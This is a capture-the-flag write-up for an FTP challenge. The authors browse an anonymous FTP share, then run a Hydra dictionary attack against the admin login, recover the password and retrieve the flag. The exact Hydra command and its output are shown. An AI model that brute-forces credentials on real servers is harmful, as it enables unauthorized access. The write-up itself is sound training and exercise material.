cuteFTP (Misc - 120 pts)

~$ cd ..

A chaotic admin set up an FTP challenge but might have misplaced some files.
63.35.125.97:21

We firstly logged in as anonymous without a password. We were able to access to some files and folders.

In those files we found a lot of pictures of cats, lists of words and a list of users. On the other hand we had a folder with subfolders representing the users. In the admin folder we found a README.txt, here is the content:

Please don't abuse this server! This FTP server is used to share my favourite  
cats (there's only one thing I like more than cats). Feel free to browse through  
them and download your favourites. If you want to add your own cats shoot me a mail   
(darthcatlover9001@sharklasers.com) and I'll give you a user account. The cats you  
add will then appear in the /users/username/public folder.
If you're into lists instead of cats you might also like my other FTP server.  
I sometimes get confused so if I misplaced a list on this server please let me know.
~JarJar B. McPaws~

And a thanksto.txt containing:

Thanks to:
-Maxogden (for helping me start my collection)
-Charlottd
-Charlottf
-Dennis

Thanks to the list, we thought about launching a dictionary attack on the FTP service to try to log in with the admin account.

We decided to use Hydra to perform this action.

hydra 52.17.165.245 ftp -l admin -P /root/Desktop/kublaiBADPASSWORDS.list
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or  
secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2019-03-30 11:29:09 	
[DATA] max 16 tasks per 1 server, overall 16 tasks, 666 login tries  
(l:1/p:666), ~42 tries per task
[DATA] attacking ftp://52.17.165.245:21/
[STATUS] 96.00 tries/min, 96 tries in 00:01h, 570 to do in 00:06h, 16 active
[STATUS] 85.67 tries/min, 257 tries in 00:03h, 409 to do in 00:05h, 16 active
	[21][ftp] host: 52.17.165.245   login: admin   password: cookies
...

We are now able to log in with the admin account and the password cookies.

On this account we found a a file in the following path /admin/flag.txt: CSC{I'm_a_flag-da-be-die-dabe-flag!}